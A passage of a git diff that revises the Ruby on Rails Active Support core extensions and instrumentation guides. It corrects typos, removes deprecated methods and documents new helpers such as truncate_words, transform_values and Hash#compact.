-The method `instance_values` returns a hash that maps instance variable names without "@" to their
-corresponding values. Keys are strings:
+The method `instance_variable_names` returns an array. Each name includes the "@" sign.
```ruby
class C
@@ -452,7 +460,7 @@ class C
end
end
-C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+C.new(0, 1).instance_variable_names # => ["@x", "@y"]
```
NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
@@ -494,12 +502,11 @@ NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`.
### `in?`
-The predicate `in?` tests if an object is included in another object or a list of objects. An `ArgumentError` exception will be raised if a single argument is passed and it does not respond to `include?`.
+The predicate `in?` tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`.
Examples of `in?`:
```ruby
-1.in?(1,2) # => true
1.in?([1,2]) # => true
"lo".in?("hello") # => true
25.in?(30..50) # => false
@@ -565,12 +572,12 @@ NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
#### `alias_attribute`
-Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
+Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment):
```ruby
class User < ActiveRecord::Base
- # let me refer to the email column as "login",
- # possibly meaningful for authentication code
+ # You can refer to the email column as "login".
+ # This can be meaningful for authentication code.
alias_attribute :login, :email
end
```
@@ -617,7 +624,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
#### Module Attributes
-The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes).
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).
For example, the dependencies mechanism uses them:
@@ -728,7 +735,7 @@ X.local_constants # => [:X1, :X2, :Y]
X::Y.local_constants # => [:Y1, :X1]
```
-The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.)
+The names are returned as symbols.
NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
@@ -754,7 +761,7 @@ Arguments may be bare constant names:
Math.qualified_const_get("E") # => 2.718281828459045
```
-These methods are analogous to their builtin counterparts. In particular,
+These methods are analogous to their built-in counterparts. In particular,
`qualified_constant_defined?` accepts an optional second argument to be
able to say whether you want the predicate to look in the ancestors.
This flag is taken into account for each constant in the expression while
@@ -785,7 +792,7 @@ N.qualified_const_defined?("C::X") # => true
As the last example implies, the second argument defaults to true,
as in `const_defined?`.
-For coherence with the builtin methods only relative paths are accepted.
+For coherence with the built-in methods only relative paths are accepted.
Absolute qualified constant names like `::Math::PI` raise `NameError`.
NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`.
@@ -881,7 +888,7 @@ class User < ActiveRecord::Base
end
```
-With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
+With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
```ruby
class User < ActiveRecord::Base
@@ -920,7 +927,7 @@ When interpolated into a string, the `:to` option should become an expression th
delegate :logger, to: :Rails
# delegates to the receiver's class
-delegate :table_name, to: 'self.class'
+delegate :table_name, to: :class
```
WARNING: If the `:prefix` option is `true` this is less generic, see below.
@@ -957,20 +964,7 @@ NOTE: Defined in `active_support/core_ext/module/delegation.rb`
There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
-The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
-
-```ruby
-redefine_method("#{reflection.name}=") do |new_value|
- association = association_instance_get(reflection.name)
-
- if association.nil? || association.target != new_value
- association = association_proxy_class.new(self, reflection)
- end
-
- association.replace(new_value)
- association_instance_set(reflection.name, new_value.nil? ? nil : association)
-end
-```
+The method `redefine_method` prevents such a potential warning, removing the existing method before if needed.
NOTE: Defined in `active_support/core_ext/module/remove_method.rb`
@@ -1017,7 +1011,7 @@ self.default_params = {
}.freeze
```
-They can be also accessed and overridden at the instance level.
+They can also be accessed and overridden at the instance level.
```ruby
A.x = 1
@@ -1057,6 +1051,8 @@ For convenience `class_attribute` also defines an instance predicate which is th
When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method.
+If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined.
+
NOTE: Defined in `active_support/core_ext/class/attribute.rb`
#### `cattr_reader`, `cattr_writer`, and `cattr_accessor`
@@ -1084,6 +1080,15 @@ end
we can access `field_error_proc` in views.
+Also, you can pass a block to `cattr_*` to set up the attribute with a default value:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+ # Generates class methods to access @@emulate_booleans with default value of true.
+ cattr_accessor(:emulate_booleans) { true }
+end
+```
+
The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
```ruby
@@ -1101,7 +1106,7 @@ end
A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
-NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`.
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
### Subclasses & Descendants
@@ -1160,9 +1165,9 @@ Inserting data into HTML templates needs extra care. For example, you can't just
#### Safe Strings
-Active Support has the concept of <i>(html) safe</i> strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
+Active Support has the concept of _(html) safe_ strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.
-Strings are considered to be <i>unsafe</i> by default:
+Strings are considered to be _unsafe_ by default:
```ruby
"".html_safe? # => false
@@ -1241,6 +1246,18 @@ Calling `to_s` on a safe string returns a safe string, but coercion with `to_str
Calling `dup` or `clone` on safe strings yields safe strings.
+### `remove`
+
+The method `remove` will remove all occurrences of the pattern:
+
+```ruby
+"Hello World".remove(/Hello /) => "World"
+```
+
+There's also the destructive version `String#remove!`.
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
### `squish`
The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
@@ -1251,6 +1268,8 @@ The method `squish` strips leading and trailing whitespace, and substitutes runs
There's also the destructive version `String#squish!`.
+Note that it handles both ASCII and Unicode whitespace.
+
NOTE: Defined in `active_support/core_ext/string/filters.rb`.
### `truncate`
@@ -1291,6 +1310,38 @@ In above examples "dear" gets cut first, but then `:separator` prevents it.
NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+### `truncate_words`
+
+The method `truncate_words` returns a copy of its receiver truncated after a given number of words:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(4)
+# => "Oh dear! Oh dear!..."
+```
+
+Ellipsis can be customized with the `:omission` option:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;')
+# => "Oh dear! Oh dear!&hellip;"
+```
+
+Pass a `:separator` to truncate the string at a natural break:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!')
+# => "Oh dear! Oh dear! I shall be late..."
+```
+
+The option `:separator` can be a regexp:
+
+```ruby
+"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/)
+# => "Oh dear! Oh dear!..."
+```
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
### `inquiry`
The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier.
@@ -1360,7 +1411,7 @@ The second argument, `indent_string`, specifies which indent string to use. The
"foo".indent(2, "\t") # => "\t\tfoo"
```
-While `indent_string` is tipically one space or tab, it may be any string.
+While `indent_string` is typically one space or tab, it may be any string.
The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false.
@@ -1371,6 +1422,8 @@ The third argument, `indent_empty_lines`, is a flag that says whether empty line
The `indent!` method performs indentation in-place.
+NOTE: Defined in `active_support/core_ext/string/indent.rb`.
+
### Access
#### `at(position)`
@@ -1394,7 +1447,7 @@ Returns the substring of the string starting at position `position`:
"hello".from(0) # => "hello"
"hello".from(2) # => "llo"
"hello".from(-2) # => "lo"
-"hello".from(10) # => "" if < 1.9, nil in 1.9
+"hello".from(10) # => nil
```
NOTE: Defined in `active_support/core_ext/string/access.rb`.
@@ -1438,7 +1491,7 @@ The method `pluralize` returns the plural of its receiver:
As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments.
-`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:
+`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:
```ruby
"dude".pluralize(0) # => "dudes"
@@ -1449,11 +1502,10 @@ As the previous example shows, Active Support knows some irregular plurals and u
Active Record uses this method to compute the default table name that corresponds to a model:
```ruby
-# active_record/base.rb
+# active_record/model_schema.rb
def undecorated_table_name(class_name = base_class.name)
table_name = class_name.to_s.demodulize.underscore
- table_name = table_name.pluralize if pluralize_table_names
- table_name
+ pluralize_table_names ? table_name.pluralize : table_name
end
```
@@ -1523,7 +1575,7 @@ ActiveSupport::Inflector.inflections do |inflect|
inflect.acronym 'SSL'
end
-"SSLError".underscore.camelize #=> "SSLError"
+"SSLError".underscore.camelize # => "SSLError"
```
`camelize` is aliased to `camelcase`.
@@ -1611,6 +1663,9 @@ Given a string with a qualified constant name, `demodulize` returns the very con
"Product".demodulize # => "Product"
"Backoffice::UsersController".demodulize # => "UsersController"
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+"::Inflections".demodulize # => "Inflections"
+"".demodulize # => ""
+
```
Active Record for example uses this method to compute the name of a counter cache column:
@@ -1745,28 +1800,47 @@ NOTE: Defined in `active_support/core_ext/string/inflections.rb`.
#### `humanize`
-The method `humanize` gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
+The method `humanize` tweaks an attribute name for display to end users.
+
+Specifically performs these transformations:
+
+ * Applies human inflection rules to the argument.
+ * Deletes leading underscores, if any.
+ * Removes a "_id" suffix if present.
+ * Replaces underscores with spaces, if any.
+ * Downcases all words except acronyms.
+ * Capitalizes the first word.
+
+The capitalization of the first word can be turned off by setting the
++:capitalize+ option to false (default is true).
```ruby
-"name".humanize # => "Name"
-"author_id".humanize # => "Author"
-"comments_count".humanize # => "Comments count"
+"name".humanize # => "Name"
+"author_id".humanize # => "Author"
+"author_id".humanize(capitalize: false) # => "author"
+"comments_count".humanize # => "Comments count"
+"_id".humanize # => "Id"
```
-The helper method `full_messages` uses `humanize` as a fallback to include attribute names:
+If "SSL" was defined to be an acronym:
```ruby
-def full_messages
- full_messages = []
+'ssl_error'.humanize # => "SSL error"
+```
- each do |attribute, messages|
- ...
- attr_name = attribute.to_s.gsub('.', '_').humanize
- attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
- ...
- end
+The helper method `full_messages` uses `humanize` as a fallback to include
+attribute names:
- full_messages
+```ruby
+def full_messages
+ map { |attribute, message| full_message(attribute, message) }
+end
+
+def full_message
+ ...
+ attr_name = attribute.to_s.tr('.', '_').humanize
+ attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+ ...
end
```
@@ -1876,24 +1950,6 @@ as well as adding or subtracting their results from a Time object. For example:
(4.months + 5.years).from_now
```
-While these methods provide precise calculation when used as in the examples above, care
-should be taken to note that this is not true if the result of `months', `years', etc is
-converted before use:
-
-```ruby
-# equivalent to 30.days.to_i.from_now
-1.month.to_i.from_now
-
-# equivalent to 365.25.days.to_f.from_now
-1.year.to_f.from_now
-```
-
-In such cases, Ruby's core [Date](http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html) and
-[Time](http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html) should be used for precision
-date and time arithmetic.
-
-NOTE: Defined in `active_support/core_ext/numeric/time.rb`.
-
### Formatting
Enables the formatting of numbers in a variety of ways.
@@ -1979,7 +2035,7 @@ Produce a string representation of a number in human-readable words:
1234567890123456.to_s(:human) # => "1.23 Quadrillion"
```
-NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`.
+NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`.
Extensions to `Integer`
-----------------------
@@ -2027,8 +2083,33 @@ NOTE: Defined in `active_support/core_ext/integer/inflections.rb`.
Extensions to `BigDecimal`
--------------------------
+### `to_s`
-...
+The method `to_s` is aliased to `to_formatted_s`. This provides a convenient way to display a BigDecimal value in floating-point notation:
+
+```ruby
+BigDecimal.new(5.00, 6).to_s # => "5.0"
+```
+
+### `to_formatted_s`
+
+Te method `to_formatted_s` provides a default specifier of "F". This means that a simple call to `to_formatted_s` or `to_s` will result in floating point representation instead of engineering notation:
+
+```ruby
+BigDecimal.new(5.00, 6).to_formatted_s # => "5.0"
+```
+
+and that symbol specifiers are also supported:
+
+```ruby
+BigDecimal.new(5.00, 6).to_formatted_s(:db) # => "5.0"
+```
+
+Engineering notation is still supported:
+
+```ruby
+BigDecimal.new(5.00, 6).to_formatted_s("e") # => "0.5E1"
+```
Extensions to `Enumerable`
--------------------------
@@ -2215,7 +2296,7 @@ This method accepts three options:
* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ".
-The defaults for these options can be localised, their keys are:
+The defaults for these options can be localized, their keys are:
| Option | I18n key |
| ---------------------- | ----------------------------------- |
@@ -2223,15 +2304,15 @@ The defaults for these options can be localised, their keys are:
| `:words_connector` | `support.array.words_connector` |
| `:last_word_connector` | `support.array.last_word_connector` |
-Options `:connector` and `:skip_last_comma` are deprecated.
-
NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
#### `to_formatted_s`
The method `to_formatted_s` acts like `to_s` by default.
-If the array contains items that respond to `id`, however, it may be passed the symbol `:db` as argument. That's typically used with collections of ARs. Returned strings are:
+If the array contains items that respond to `id`, however, the symbol
+`:db` may be passed as argument. That's typically used with
+collections of Active Record objects. Returned strings are:
```ruby
[].to_formatted_s(:db) # => "null"
@@ -2387,7 +2468,8 @@ NOTE: Defined in `active_support/core_ext/array/wrap.rb`.
### Duplicating
-The method `Array.deep_dup` duplicates itself and all objects inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside.
+The method `Array.deep_dup` duplicates itself and all objects inside
+recursively with Active Support method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside.
```ruby
array = [1, [2, 3]]
@@ -2396,7 +2478,7 @@ dup[1][2] = 4
array[1][2] == nil # => true
```
-NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`.
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
### Grouping
@@ -2413,9 +2495,9 @@ or yields them in turn if a block is passed:
```html+erb
<% sample.in_groups_of(3) do |a, b, c| %>
<tr>
- <td><%=h a %></td>
- <td><%=h b %></td>
- <td><%=h c %></td>
+ <td><%= a %></td>
+ <td><%= b %></td>
+ <td><%= c %></td>
</tr>
<% end %>
```
@@ -2608,7 +2690,8 @@ NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`.
### Deep duplicating
-The method `Hash.deep_dup` duplicates itself and all keys and values inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside.
+The method `Hash.deep_dup` duplicates itself and all keys and values
+inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside.
```ruby
hash = { a: 1, b: { c: 2, d: [3, 4] } }
@@ -2621,45 +2704,7 @@ hash[:b][:e] == nil # => true
hash[:b][:d] == [3, 4] # => true
```
-NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`.
-
-### Diffing
-
-The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic:
-
-* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash.
-
-* If both hashes have `key`, but with different values, the pair in the receiver wins.
-
-* The rest is just merged.
-
-```ruby
-{a: 1}.diff(a: 1)
-# => {}, first rule
-
-{a: 1}.diff(a: 2)
-# => {:a=>1}, second rule
-
-{a: 1}.diff(b: 2)
-# => {:a=>1, :b=>2}, third rule
-
-{a: 1, b: 2, c: 3}.diff(b: 1, c: 3, d: 4)
-# => {:a=>1, :b=>2, :d=>4}, all rules
-
-{}.diff({}) # => {}
-{a: 1}.diff({}) # => {:a=>1}
-{}.diff(a: 1) # => {:a=>1}
-```
-
-An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice:
-
-```ruby
-hash.diff(hash2).diff(hash2) == hash
-```
-
-Diffing hashes may be useful for error messages related to expected option hashes for example.
-
-NOTE: Defined in `active_support/core_ext/hash/diff.rb`.
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
### Working with Keys
@@ -2678,13 +2723,6 @@ If the receiver responds to `convert_key`, the method is called on each of the a
{a: 1}.with_indifferent_access.except("a") # => {}
```
-The method `except` may come in handy for example when you want to protect some parameter that can't be globally protected with `attr_protected`:
-
-```ruby
-params[:account] = params[:account].except(:plan_id) unless admin?
-@account.update_attributes(params[:account])
-```
-
There's also the bang variant `except!` that removes keys in the very receiver.
NOTE: Defined in `active_support/core_ext/hash/except.rb`.
@@ -2694,26 +2732,29 @@ NOTE: Defined in `active_support/core_ext/hash/except.rb`.
The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
```ruby
-{nil => nil, 1 => 1, a: :a}.transform_keys{ |key| key.to_s.upcase }
+{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
# => {"" => nil, "A" => :a, "1" => 1}
```
-The result in case of collision is undefined:
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
```ruby
-{"a" => 1, a: 2}.transform_keys{ |key| key.to_s.upcase }
-# => {"A" => 2}, in my test, can't rely on this result though
+{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
+# The result could either be
+# => {"A"=>2}
+# or
+# => {"A"=>1}
```
This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions:
```ruby
def stringify_keys
- transform_keys{ |key| key.to_s }
+ transform_keys { |key| key.to_s }
end
...
def symbolize_keys
- transform_keys{ |key| key.to_sym rescue key }
+ transform_keys { |key| key.to_sym rescue key }
end
```
@@ -2722,7 +2763,7 @@ There's also the bang variant `transform_keys!` that applies the block operation
Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
```ruby
-{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase }
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
```
@@ -2737,11 +2778,14 @@ The method `stringify_keys` returns a hash that has a stringified version of the
# => {"" => nil, "a" => :a, "1" => 1}
```
-The result in case of collision is undefined:
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
```ruby
{"a" => 1, a: 2}.stringify_keys
-# => {"a" => 2}, in my test, can't rely on this result though
+# The result could either be
+# => {"a"=>2}
+# or
+# => {"a"=>1}
```
This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:
@@ -2778,11 +2822,14 @@ The method `symbolize_keys` returns a hash that has a symbolized version of the
WARNING. Note in the previous example only one key was symbolized.
-The result in case of collision is undefined:
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
```ruby
{"a" => 1, a: 2}.symbolize_keys
-# => {:a=>2}, in my test, can't rely on this result though
+# The result could either be
+# => {:a=>2}
+# or
+# => {:a=>1}
```
This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines
@@ -2827,6 +2874,20 @@ Active Record does not accept unknown options when building associations, for ex
NOTE: Defined in `active_support/core_ext/hash/keys.rb`.
+### Working with Values
+
+#### `transform_values` && `transform_values!`
+
+The method `transform_values` accepts a block and returns a hash that has applied the block operations to each of the values in the receiver.
+
+```ruby
+{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase }
+# => {nil=>"", 1=>"1", :x=>"A"}
+```
+There's also the bang variant `transform_values!` that applies the block operations to values in the very receiver.
+
+NOTE: Defined in `active_support/core_text/hash/transform_values.rb`.
+
### Slicing
Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes:
@@ -2888,6 +2949,16 @@ The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndiffer
NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
+### Compacting
+
+The methods `compact` and `compact!` return a Hash without items with `nil` value.
+
+```ruby
+{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/compact.rb`.
+
Extensions to `Regexp`
----------------------
@@ -3344,7 +3415,25 @@ date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
`beginning_of_hour` is aliased to `at_beginning_of_hour`.
-INFO: `beginning_of_hour` and `end_of_hour` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour on a `Date` instance.
+##### `beginning_of_minute`, `end_of_minute`
+
+The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010
+```
+
+The method `end_of_minute` returns a timestamp at the end of the minute (hh:mm:59):
+
+```ruby
+date = DateTime.new(2010, 6, 7, 19, 55, 25)
+date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
+```
+
+`beginning_of_minute` is aliased to `at_beginning_of_minute`.
+
+INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance.
##### `ago`, `since`
@@ -3599,7 +3688,7 @@ Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
-t = Time.local_time(2010, 3, 28, 1, 59, 59)
+t = Time.local(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(seconds: 1)
# => Sun Mar 28 03:00:00 +0200 2010
@@ -3609,9 +3698,9 @@ t.advance(seconds: 1)
#### `Time.current`
-Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines `Time.yesterday` and `Time.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
+Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
-When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` and not `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.today` uses by default. This means `Time.now` may equal `Time.yesterday`.
+When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` instead of `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.now` uses by default. This means `Time.now.to_date` may equal `Date.yesterday`.
#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`
@@ -3654,26 +3743,6 @@ Time.current
Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`.
-Use the `local_time` class method to create time objects honoring the user time zone:
-
-```ruby
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-Time.local_time(2010, 8, 15)
-# => Sun Aug 15 00:00:00 +0200 2010
-```
-
-The `utc_time` class method returns a time in UTC:
-
-```ruby
-Time.zone_default
-# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-Time.utc_time(2010, 8, 15)
-# => Sun Aug 15 00:00:00 UTC 2010
-```
-
-Both `local_time` and `utc_time` accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0.
-
If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead.
#### Durations
@@ -3692,7 +3761,7 @@ now - 1.week
They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:
```ruby
-Time.utc_time(1582, 10, 3) + 5.days
+Time.utc(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582
```
@@ -3795,7 +3864,7 @@ The name may be given as a symbol or string. A symbol is tested against the bare
TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
-For example, when an action of `PostsController` is called Rails tries optimistically to use `PostsHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `posts_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
+For example, when an action of `ArticlesController` is called Rails tries optimistically to use `ArticlesHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `articles_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
```ruby
def default_helper_module!
@@ -3803,7 +3872,7 @@ def default_helper_module!
module_path = module_name.underscore
helper module_path
rescue MissingSourceFile => e
- raise e unless e.is_missing? "#{module_path}_helper"
+ raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end
@@ -3818,7 +3887,7 @@ Active Support adds `is_missing?` to `LoadError`, and also assigns that class to
Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
-For example, when an action of `PostsController` is called Rails tries to load `posts_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:
+For example, when an action of `ArticlesController` is called Rails tries to load `articles_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:
```ruby
def default_helper_module!
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
index cf5a51fc5b..9dfacce560 100644
--- a/guides/source/active_support_instrumentation.md
+++ b/guides/source/active_support_instrumentation.md
@@ -17,7 +17,7 @@ After reading this guide, you will know:
Introduction to instrumentation
-------------------------------
-The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
+The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in (TODO: link to section detailing each hook point). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
@@ -39,7 +39,7 @@ Action Controller
```ruby
{
- key: 'posts/1-dasboard-view'
+ key: 'posts/1-dashboard-view'
}
```
@@ -51,7 +51,7 @@ Action Controller
```ruby
{
- key: 'posts/1-dasboard-view'
+ key: 'posts/1-dashboard-view'
}
```
@@ -63,7 +63,7 @@ Action Controller
```ruby
{
- key: 'posts/1-dasboard-view'
+ key: 'posts/1-dashboard-view'
}
```
@@ -75,7 +75,7 @@ Action Controller
```ruby
{
- key: 'posts/1-dasboard-view'
+ key: 'posts/1-dashboard-view'
}
```
@@ -135,7 +135,9 @@ Action Controller
| `:format` | html/js/json/xml etc |
| `:method` | HTTP request verb |
| `:path` | Request path |
+| `:status` | HTTP status code |
| `:view_runtime` | Amount spent in view in ms |
+| `:db_runtime` | Amount spent executing database queries in ms |
```ruby
{
@@ -223,11 +225,11 @@ Active Record
### sql.active_record
-| Key | Value |
-| ------------ | --------------------- |
-| `:sql` | SQL statement |
-| `:name` | Name of the operation |
-| `:object_id` | `self.object_id` |
+| Key | Value |
+| ---------------- | --------------------- |
+| `:sql` | SQL statement |
+| `:name` | Name of the operation |
+| `:connection_id` | `self.object_id` |
INFO. The adapters will add their own data as well.
@@ -273,7 +275,7 @@ Action Mailer
to: ["users@rails.com", "ddh@rails.com"],
from: ["me@rails.com"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
- mail: "..." # ommitted for beverity
+ mail: "..." # omitted for brevity
}
```
@@ -299,7 +301,7 @@ Action Mailer
to: ["users@rails.com", "ddh@rails.com"],
from: ["me@rails.com"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
- mail: "..." # ommitted for beverity
+ mail: "..." # omitted for brevity
}
```
@@ -364,7 +366,7 @@ INFO. Options passed to fetch will be merged with the payload.
| ------ | --------------------- |
| `:key` | Key used in the store |
